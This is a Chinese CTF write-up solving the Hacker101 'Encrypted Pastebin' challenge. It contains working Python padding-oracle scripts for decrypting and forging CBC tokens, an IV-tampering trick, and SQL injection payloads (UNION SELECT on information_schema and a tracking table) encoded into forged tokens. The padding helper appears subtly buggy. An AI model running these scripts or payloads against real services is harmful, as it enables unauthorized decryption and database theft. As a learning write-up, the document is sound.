Hackerone是一个漏洞赏金平台,想获取该平台的项目资格,需解答Hacker101 CTF题目。不同的题目有不同数量的flag,每个flag因题目难度不同而对应不同积分(point)。每得26分就会获得一个私密项目邀请。
本文记录了其中名为“Encrypted Pastebin”的题目的解法。该题要求技能为Web和Crypto,难度为Hard,共有4个flag,每个flag值9分。
本文写作日期为2019年12月15日。读者阅读本文时可能已经时过境迁,Hacker101 CTF可能不再有这道题目,或内容发生变化。但本文尽可能地详细记录了整个解答过程,没有题目并不影响阅读和理解本文。
若读者正在解答这道题目但没有前进的思路,建议读者不要继续阅读本文,否则将损害解答这道题目的本意。请带着这一提示关闭本文:padding oracle。
题目的地址是动态的,每隔一段时间打开都会不同,所以这里无法给出题目地址。也因其动态性,后文中相关代码或截图中题目地址可能会有所不同,读者只要知道虽然地址不同但其实是同一道题目便不会影响阅读了。
打开题目后看到一个Web页面,如下图所示:
提示文本是:
We've developed the most secure pastebin on the internet. Your data is protected with military-grade 128-bit AES encryption. The key for your data is never stored in our database, so no hacker can ever gain unauthorized access.
从提示文本中我们知道了加密算法是AES,密钥长度是128比特,那么分组便是16字节。此外我们还知道了加密用户数据的密钥没有保存在数据库中。
我们输入Title
为1
,内容也为1
,然后点击Post
按钮,页面跳转到了:
http://35.190.155.168/fc2fd7e530/?post=LPTALJ-WW1!q1nfGhY54lVwmLGQexY7uNSfsUowFr2ercuG5JXhsPhd8qCRF8VhNdeZCxxwCcvztwOURu!Nu!oTs3O7PKqDolpVZAxybuxaIPInRPlTm1mos!7oCcyHvPxS5L!gthTFpbJfrE0Btn3v9-gVly!yyMceC-FQlgsta53SGNVNHBVnwE0fWiLw8Yh2kKNk5Uu9KOWSItZ3ZBQ~~
观察这个URL,看到路径没有变,只是多了post
参数,参数值长得很像base64编码,但又有一点点区别。页面内容如下图所示:
这道题目便是这个样子,一个功能单一的Web页面。一开始我很困惑这玩意有什么用,后来意识到Pastebin和Blog、BBS一样是一种Web应用,其作用是存储和分享一段纯文本数据,一般是源代码。如Ubuntu就提供自己的Pastebin服务。应用场景之一是一群人使用IRC讨论编程问题,一个人想向大家分享一段代码,那么他可以将这段代码存储在Pastebin中,将链接分享给大家,这样便避免了大段代码刷屏,感兴趣的人打开链接查看代码一般也能获得比较好的阅读体验。
根据以往做过的Hacker101 CTF题目知道每个漏洞对应一个flag。现在我们要做的便是找出这个加密Pastebin服务的漏洞。
一开始毫无思路,便想着输入异常数据试图引发错误。将post
参数的值修改为1
,提交后结果出乎意料,直接得到了一个flag,如下图所示。
在报错中我们看到了服务器是如何解码post
参数的:
b64d = lambda x: base64.decodestring(x.replace('~', '=').replace('!', '/').replace('-', '+'))
其实就是base64编码,只不过替换了3个关键字符。为简单起见,后文中就直接把它称做base64编码。在报错信息中我们还看到在按base64解码post
参数后,调用一个名为decryptLink
的函数解密它,解密后按UTF-8解码,并以json格式解析:
post = json.loads(decryptLink(postCt).decode('utf8'))
从这个报错中暂时就看出这些有用的信息。但同时我们知道,通过触发错误可以获得很多信息。
现在考虑触发别的报错,向服务器提交能成功base64解码但在调用decryptLink
解密时报错的数据。我们知道了如何解码post
参数,便也就知道了如何编码post
参数。提交post
参数为MTix
(一个有效的base64编码),这次报错为:
通过这个报错,我们看到了decryptLink
函数中有一行代码的内容是:
cipher = AES.new(staticKey, AES.MODE_CBC, iv)
看来加解密post
参数使用的密钥是静态的(staticKey
)。还看到加密使用了CBC模式。报错中说IV(初始向量)长度必须是16字节,看来IV是从post
参数中提取的。
现在考虑触发新的报错,将16个*
编码,结果为:
KioqKioqKioqKioqKioqKg~~
提交此参数,成功触发了新的报错,如下图所示。
从这个报错中我们看到了decryptLink
函数的最后一行代码,内容是:
return unpad(cipher.decrypt(data))
报错说string index out of range
,应该是提交的post
参数长度为16字节,刚够IV,实际数据为0,所以产生了这个错误。同时注意到有一个unpad
操作,看函数名其功能应该是去掉填充(pad)。
再尝试触发新的报错,将32个*
编码,结果为:
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKio~
提交此参数,成功触发了新的报错,如下图所示。
这次的报错中出现了耐人寻味的PaddingException
,结合CBC模式是可以使用padding oracle攻击解出明文的。虽然在大学密码学课上骆老师讲过这种攻击方式,但具体细节记不清楚了。查了些资料后补齐了细节,写了一个Python脚本来执行该攻击,脚本内容如下。该攻击的资料很多,网上一搜一大把,这里就不给出具体的参考链接了。后文假设读者清楚padding oracle攻击的细节,若不清楚,请先查阅资料。
import base64
import requests
def decode(data):
return base64.b64decode(data.replace('~', '=').replace('!', '/').replace('-', '+'))
def encode(data):
return base64.b64encode(data).decode('utf-8').replace('=', '~').replace('/', '!').replace('+', '-')
def bxor(b1, b2): # use xor for bytes
result = b""
for b1, b2 in zip(b1, b2):
result += bytes([b1 ^ b2])
return result
def test(url, data):
r = requests.get(url+'?post={}'.format(data))
if 'PaddingException' in r.text:
return False
else:
return True
def generate_iv_list(tail):
iv = b'\x00' * (16 - len(tail) -1)
return [iv+bytes([change])+tail for change in range(0x00, 0xff+1)]
def padding_oracle(real_iv, url, data):
index = 15
plains = bytes()
tail = bytes()
while index >= 0:
for iv in generate_iv_list(tail):
if test(url, encode(iv+data)):
plains = bytes([(16-index) ^ iv[index]]) + plains
index -= 1
tail = bytes([plain ^ (16-index) for plain in plains])
break
return bxor(real_iv, plains)
if __name__ == '__main__':
post = 'LPTALJ-WW1!q1nfGhY54lVwmLGQexY7uNSfsUowFr2ercuG5JXhsPhd8qCRF8VhNdeZCxxwCcvztwOURu!Nu!oTs3O7PKqDolpVZAxybuxaIPInRPlTm1mos!7oCcyHvPxS5L!gthTFpbJfrE0Btn3v9-gVly!yyMceC-FQlgsta53SGNVNHBVnwE0fWiLw8Yh2kKNk5Uu9KOWSItZ3ZBQ~~'
url = 'http://35.190.155.168/fc2fd7e530/'
i = 1
plains = bytes()
data = decode(post)
length = len(data)
while True:
if i*16 < length:
iv = data[(i-1)*16: i*16]
plains += padding_oracle(iv, url, data[i*16: (i+1)*16])
else:
break
i += 1
print(plains)
运行这个脚本,花了大约1个小时才解出明文是:
{"flag": "^FLAG^597a59999a26c9f1b48d7xxxxxxxxxxxxxxxxxxxxxxxxxxxb153f505d4755bf2$FLAG$", "id": "3", "key": "XjPkmljch5E2sMiNhsNiqg~~"}\n\n\n\n\n\n\n\n\n\n
至此拿到了第二个flag。
观察解出的明文,发现它是json格式的,共有三个键,第一个是flag
,应该纯粹为CTF服务,没有实际意义;第二个是id
,值为3
;第三个是key
,值被用base64编码了,解码后发现是16字节长的二进制数据,怎么看怎么像AES密钥,用它直接解密post
参数却是失败的,看来是其他地方的密钥了。
我们知道CBC除了padding oracle攻击外还有字节翻转攻击,利用字节翻转攻击可以把id
由3
改成其他值,比如1
。但实际尝试发现这样做是行不通的,因为字节翻转攻击的原理是修改密文分组中一个字节的值,使下一个分组中明文的对应位置的字节按我们的意愿修改,这样做会导致修改过的密文分组解密出的明文变成乱码,而这个乱码往往无法按UTF-8解码,在decode('utf8')
时会触发UnicodeDecodeError
错误。
为了避免UnicodeDecodeError
错误,我们不能修改任何密文,那么就只能修改IV了。通过修改IV,我们可以控制第一个分组的明文。其原理如下图所示,用想要的明文异或原本的(已知)明文,将结果做为新的IV,解密时会再异或一次得到我们想要的明文。
然而id
出现在第6个明文分组中,无法直接修改。但好在我们可以完全控制IV和密文,所以可以抛弃部分密文。为便于观察,先把明文按16字节分组,结果如下:
{"flag": "^FLAG^
597a59999a26c9f1
b48d7xxxxxxxxxxx
xxxxxxxxxxxxxxxx
b153f505d4755bf2
$FLAG$", "id": "
3", "key": "XjPk
mljch5E2sMiNhsNi
qg~~"}\n\n\n\n\n
\n\n\n\n\n
然后再设计我们想要的明文:
{"id":"1", "i":"
3", "key": "XjPk
mljch5E2sMiNhsNi
qg~~"}\n\n\n\n\n
\n\n\n\n\n
对比可知完全抛弃了前5个分组,只保留了后5ge分组,并且后5个分组中只有第1个分组的内容是改变了的。这样我们计算出合适的IV,便可以得到想要的结果。具体的计算方法见代码:
post = 'LPTALJ-WW1!q1nfGhY54lVwmLGQexY7uNSfsUowFr2ercuG5JXhsPhd8qCRF8VhNdeZCxxwCcvztwOURu!Nu!oTs3O7PKqDolpVZAxybuxaIPInRPlTm1mos!7oCcyHvPxS5L!gthTFpbJfrE0Btn3v9-gVly!yyMceC-FQlgsta53SGNVNHBVnwE0fWiLw8Yh2kKNk5Uu9KOWSItZ3ZBQ~~'
data = decode(post)[16*(1+5):] # 抛弃原始密文的前5个分组(加1是因为有16字节的IV)
iv_6 = decode(post)[16*(1+4):16*(1+5)] # 第5个分组的密文,也就是第6个分组的“IV”
immediate = bxor(b'$FLAG$", "id": "', iv_6) # 第6个分组密文解密的直接结果
iv = bxor(immediate, b'{"id":"1", "i":"') # 计算出合适的IV
print(encode(iv+data))
运行该代码计算出对应post
参数为:
11is9FtK5stoIrb8SWs77z8UuS!4LYUxaWyX6xNAbZ97!foFZcv8sjHHgvhUJYLLWud0hjVTRwVZ8BNH1oi8PGIdpCjZOVLvSjlkiLWd2QU~
提交此参数,没有成功查询出id
为1
的条目,但成功拿到了新的flag,如下图。
通过错误提示推测这是因为服务器只加密了body没有加密title,flag存储在title中,尝试解密body时触发了错误(因为key是id=3的数据的,不是id=1的数据的),但好在错误信息中包含了title的值。
继续设法触发新的报错,试试SQL注入。构造如下的明文,把id
的值设置为单引号:
{"id":"'", "i":"
3", "key": "XjPk
mljch5E2sMiNhsNi
qg~~"}\n\n\n\n\n
\n\n\n\n\n
计算出对应post
为:
11is9FtK5t1oIrb8SWs77z8UuS!4LYUxaWyX6xNAbZ97!foFZcv8sjHHgvhUJYLLWud0hjVTRwVZ8BNH1oi8PGIdpCjZOVLvSjlkiLWd2QU~
提交此参数,如愿以偿地看到了SQL注入的报错,甚至知道了具体的SQL语句是什么,如下图。
但按现有的方法,我们最多只能控制9个字符。9个字符是无论如何都无法完成注入的。
多方查阅资料后在一篇文章中看到说padding oracle攻击不仅可以用来解密明文,还可以用来构造解密出任意指定明文的密文。又在《Automated Padding Oracle Attacks with PadBuster》中找到了具体的原理,其实非常简单,是我们前面做法的推广。这里简单叙述一下原理。
如上图,已知利用padding oracle攻击我们可以在不知道密钥的情况下解密出任意密文对应的Intermediary Value
,在CBC模式中Intermediary Value
和IV或上一块密文异或得到Decrypted Value
。为构造解密出任意指定明文的密文,我们先将明文分组并按PKCS#5填充。然后随机生成16字节数据做最后一块密文,用padding oracle计算出它的Intermediary Value
,用Intermediary Value
异或最后一块明文得到倒数第二块密文。用padding oracle计算出倒数第二块密文的Intermediary Value
,用Intermediary Value
异或倒数第二块明文得到倒数第三块密文。依此类推,直到计算出IV。
看懂原理后写了一个Python脚本来实现这种攻击,脚本太长为了不影响阅读附在文末。
首先构造明文:
{"id":"0 UNION SELECT database(), ''","key":"XjPkmljch5E2sMiNhsNiqg~~"}
计算出对应post
参数为:
vpxsCHeQyFv5Xz4ITQHcTgNDCEuKQ1YRvZU6JINj2La063Cs2XWp0GsHLGVmrVFfrwmnx-gmZgdPBL16ODezPqd5DrohLnQvjeJK7!STgHyNFotCtLYeOCS2-IVdPQHA
得到数据库名为level3
。
接着构造明文:
{"id":"0 UNION SELECT group_concat(TABLE_NAME), '' from information_schema.tables where TABLE_SCHEMA='level3'","key":"XjPkmljch5E2sMiNhsNiqg~~"}
计算出对应post
参数为:
7yUXiAErbrYDMQu9o6!rEsLGp-qFoWKIc!n22RVLCUNmFRKq9OZtyTtyPOy3LNbMLyQJmYODUBikZMkFlGdYJ2bIzCAsMXWK8pZJ94T7HNGYCAnZbf6eb0vpocf-ybAo42WQc9dUv8Iw7!9WZe76ETDW!M7obDKpipW4WMM9l3TJPkw0pFrSNtOHB1XmaKv23hh51E8cGTaU-1P27YqZZY0Wi0K0th44JLb4hV09AcA~
得到数据库level3
中有表posts
和tracking
,前一个表的内容我们已经知道了,所以关心后一个表,构造如下明文查询它有哪些列:
{"id":"0 UNION SELECT group_concat(column_name), '' from information_schema.columns where TABLE_NAME='tracking'","key":"XjPkmljch5E2sMiNhsNiqg~~"}
计算出对应post
参数为:
xjYpoCshfUQiElru19HYf04qjeYVD8CoA9XmG2Oly9ECT7stCN-AuV5PqBw5FOTaMmYIYykBwq7wUHJ08kc6jjNgK8pwZ0-U3024MxjwrCgGJu3qOBz91H1qn5DT5zducioD06x1w3HClw2grzbdreZgLFq!JQJMk8VhhXweN65GVLlJwibidmS4SFd0XZYh7HVnylECByiK5U3o85SHe40Wi0K0th44JLb4hV09AcA~
得到表tracking
有列id
和headers
,id
里应该没有实际数据,所以我们试图查询出headers
。为此构造明文:
{"id":"0 UNION SELECT group_concat(headers), '' from tracking","key":"XjPkmljch5E2sMiNhsNiqg~~"}
计算出对应post
参数为:
be6Lqymj1Mmo5urgkMavFVbMAhGyzY8DKY94bPMcjvq!wzT2jIXMFVg-5aEFeap-zVKyX8oHocYl4foLJe76ETDW!M7obDKpipW4WMM9l3TJPkw0pFrSNtOHB1XmaKv23hh51E8cGTaU-1P27YqZZY0Wi0K0th44JLb4hV09AcA~
成功的查出了所有的headers
,但其中没有flag。观察数据,看到headers
应该是http的头部,其中也包含post
参数,都试一试,发现第一个post
参数可以解出一个新的flag,如下图。
至此,拿到了全部的4个flag。
先总结一下Encrypted Pastebin的工作流程:每次接到用户数据都随机生成一个key对其进行加密,加密结果存储在数据库中,然后用固定密钥staticKey加密随机生成的key,并将加密结果和数据库条目id编码后返回给用户。用户直接打开链接就可以看到存储的数据,和非加密的Pastebin一样方便。加密用户数据的密钥确实没有存储在数据库中,和首页宣传的一致。
这道题目对我来说是很有难度的,我花了一整个周末才完成它。一方面它让我复习/新学了密码学知识,另一方面,也是更重要的——它教导我不要轻易放弃。在进行padding oracle攻击时,速度很慢很慢,由于编程错误跑了很久却没有任何结果,让我心灰意冷,反复修改多次才终于成功。进行SQL注入时,由于一开始不知道利用padding oracle攻击可以构造解密出任意指定明文的密文便毫无思路,并且已经拿到了27分,几乎真的放弃了。后来觉得若是现在放弃,今后再做又得复习前面的所有步骤,白白浪费时间,才又坚持做下去。
生成解密出任意指定明文的密文的Python脚本:
import base64
import requests
def trans(s):
return "b'%s'" % ''.join('\\x%.2x' % x for x in s)
def decode(data):
return base64.b64decode(data.replace('~', '=').replace('!', '/').replace('-', '+'))
def encode(data):
return base64.b64encode(data).decode('utf-8').replace('=', '~').replace('/', '!').replace('+', '-')
def bxor(b1, b2): # use xor for bytes
result = b""
for b1, b2 in zip(b1, b2):
result += bytes([b1 ^ b2])
return result
def test(url, data):
r = requests.get(url+'?post={}'.format(data))
if 'PaddingException' in r.text:
return False
else:
print(r.url)
return True
def generate_iv_list(tail):
iv = b'\x00' * (16 - len(tail) -1)
return [iv+bytes([change])+tail for change in range(0x00, 0xff+1)]
def padding_oracle_decrypt(url, data):
print('破解数据:{}'.format(data))
index = 15
intermediary = bytes()
tail = bytes()
while index >= 0:
for iv in generate_iv_list(tail):
print('尝试初始向量:{}'.format(trans(iv)))
if test(url, encode(iv+data)):
intermediary = bytes([(16-index) ^ iv[index]]) + intermediary
index -= 1
tail = bytes([temp ^ (16-index) for temp in intermediary])
break
return intermediary
def pad(data, block_size):
"""按PKCS#5填充"""
amount_to_pad = block_size - (len(data) % block_size)
if amount_to_pad == 0:
amount_to_pad = block_size
pad = bytes([amount_to_pad])
return data + pad * 16
if __name__ == '__main__':
url = 'http://35.190.155.168/fc2fd7e530/'
post = 'OQ9EaI4kACeslNOW5XuTWpnKWmjyduYd0CnPDOFVUNW6tmnWyxyj-ID-xbYIkUaXrg-F4T!!5!4cZxh738rhQ-1QhYP1GcIy-tx0HILgW9bqTiWFGCgrCqTJKoLfoKlXjRaLQrS2HjgktviFXT0BwFPxx29x7i1UxDdLeC7ZAVxvJ4WDvDyxzEc3vNxuRE5UB!dytTf!iY32Cpl8iiI7LQ~~'
ciphertext = decode(post)[16*6:16*7]
immediate = bxor(b'$FLAG$", "id": "', decode(post)[16*(1+4):16*(1+5)])
plains = '{"id":"0 UNION SELECT group_concat(headers), \'\' from tracking","key":"XjPkmljch5E2sMiNhsNiqg~~"}'
data = pad(plains.encode('utf-8'), 16)
block_amount = int(len(data) / 16)
index = block_amount
while True:
block = data[(index-1)*16: index*16]
print('处理块:')
print(block)
iv = bxor(immediate, block)
ciphertext = iv + ciphertext
index -= 1
if index > 0:
immediate = padding_oracle_decrypt(url, iv)
else:
break
print(encode(ciphertext))